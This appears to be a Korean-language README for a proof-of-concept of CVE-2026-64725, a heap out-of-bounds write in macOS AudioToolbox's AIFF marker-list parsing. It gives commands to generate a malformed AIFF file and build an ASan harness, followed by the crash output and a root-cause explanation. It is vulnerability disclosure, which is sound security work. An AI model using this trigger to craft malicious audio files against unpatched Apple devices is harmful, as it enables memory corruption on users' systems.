
CVE-2026-64725에 대한 PoC
CVE-2026-64725에 대한 PoC입니다. 자세한 내용은 소스 코드와 블로그 게시물을 참조하세요.
macOS 26.4.1(빌드 25E253; Darwin 25.4.0 (xnu-12377.101.15~1); Apple Silicon (T8103 / M1))에서 발견되었습니다.
Apple은 macOS/iOS/iPadOS < 26.6이 취약함을 확인했습니다.
Mac이 최신 macOS를 실행 중인지 확인하세요
Python 3.6+ 및 clang이 설치되어 있는지 확인하세요
저장소를 Mac에 클론하세요
int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool)의 signed-shift 버그를 트리거하는 최소한의 비정상(malformed) AIFF를 생성하세요:
cd poc/
python3 gen_marker_oob_aiff.py
또는
cd poc/
make aiff
결과적으로 marker_oob.aiff를 얻을 수 있습니다.
ASan으로 최소 PoC 하네스를 빌드하세요:
make
결과적으로 marker_oob_harness를 얻을 수 있습니다.
./marker_oob_harness marker_oob.aiff
다음과 같은 출력이 표시되어야 합니다
buf=0x619000001480 alloc=1000 bytes (room for 25 AudioFileMarker slots, 40 B each)
AddressSanitizer:DEADLYSIGNAL
=================================================================
==62449==ERROR: AddressSanitizer: BUS on unknown address (pc 0x0001929391d8 bp 0x00016b686390 sp 0x00016b686220 T0)
==62449==The signal is caused by a WRITE memory access.
==62449==Hint: this fault was caused by a dereference of a high value address (see register values below). Disassemble the provided pc to learn which register was used.
#0 0x0001929391d8 in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4 (AudioToolboxCore:arm64e+0x17b1d8)
#1 0x0001927c6a1c in AudioFileGetProperty+0x70 (AudioToolboxCore:arm64e+0x8a1c)
#2 0x000104778ca4 in main marker_oob_harness.c:59
#3 0x00018f8a3da0 in start+0x1b4c (dyld:arm64e+0x1fda0)
==62449==Register values:
x[0] = 0xa29319b2bf742f12 x[1] = 0x0000000000000000 x[2] = 0x0000000000000000 x[3] = 0x0000000000000008
x[4] = 0x0000000000000004 x[5] = 0xffffffffffffffff x[6] = 0x0000000000000000 x[7] = 0x0000000000000001
x[8] = 0x0000000000000000 x[9] = 0x0000000000001917 x[10] = 0x0000000000000002 x[11] = 0x0000000000000000
x[12] = 0x000000002d6d0c46 x[13] = 0x00000001fd0f3380 x[14] = 0x0000000000000000 x[15] = 0x0000000000000000
x[16] = 0x000000016b686231 x[17] = 0x00000001fd0e6d78 x[18] = 0x0000000000000000 x[19] = 0x0000000000000001
x[20] = 0x000000016b686420 x[21] = 0x0000615000000a80 x[22] = 0x0000000000000000 x[23] = 0x000000000000c8e6
x[24] = 0x000000000000c8e8 x[25] = 0x00000000ffffe6e9 x[26] = 0x0000000000000004 x[27] = 0x000061900004000c
x[28] = 0x0000000000000002 fp = 0x000000016b686390 lr = 0x00000001929391b8 sp = 0x000000016b686220
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: BUS (AudioToolboxCore:arm64e+0x17b1d8) in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4
==62449==ABORTING
zsh: abort ./marker_oob_harness marker_oob.aiff
간단히 말하면:
marker_oob_harness는 문서화된 공개 API AudioFileOpenURL(...)를 호출하여 marker_oob.aiff를 열었습니다
marker_oob_harness는 마커용 고정 길이 출력 버퍼를 할당하기 위해 calloc을 호출했습니다(최선의 방법은 아니지만 실제 환경에서는 자주 발생합니다. 더 안전한 GetMarkerListSize 코드 패턴은 아래 "안전한 경우" / "GetMarkerListSize → malloc(size) → GetMarkerList"에서 다룹니다)
marker_oob_harness는 inPropertyID=kAudioFilePropertyMarkerList와 함께 문서화된 공개 API AudioFileGetProperty(...)를 호출하여 마커 목록을 가져오려고 했습니다. 출력 버퍼 크기와 버퍼에 대한 포인터를 포함한 모든 인자는 올바랐습니다.
AudioFileGetProperty(...)는 내부적으로 문서화되지 않은 API int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool)를 호출했습니다
int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool)는 (올바른!) 출력 버퍼 크기를 잘못 해석하여 marker_oob.aiff의 바이트를 버퍼 끝 너머에 썼고, 그래서 ASan 크래시 메시지가 표시된 것입니다. 기대되는 올바른 동작은 버퍼가 너무 작다는 오류를 반환하는 것이었을 것입니다.
버퍼 끝 너머에 쓰여진 바이트 수는 파일 크기에 따라 달라집니다. 악의적인 .aiff 파일은 파일이 충분히 크다면 합리적인 크기의 모든 버퍼를 오버플로할 수 있습니다.
자세한 내용은 블로그 게시물을 참조하세요.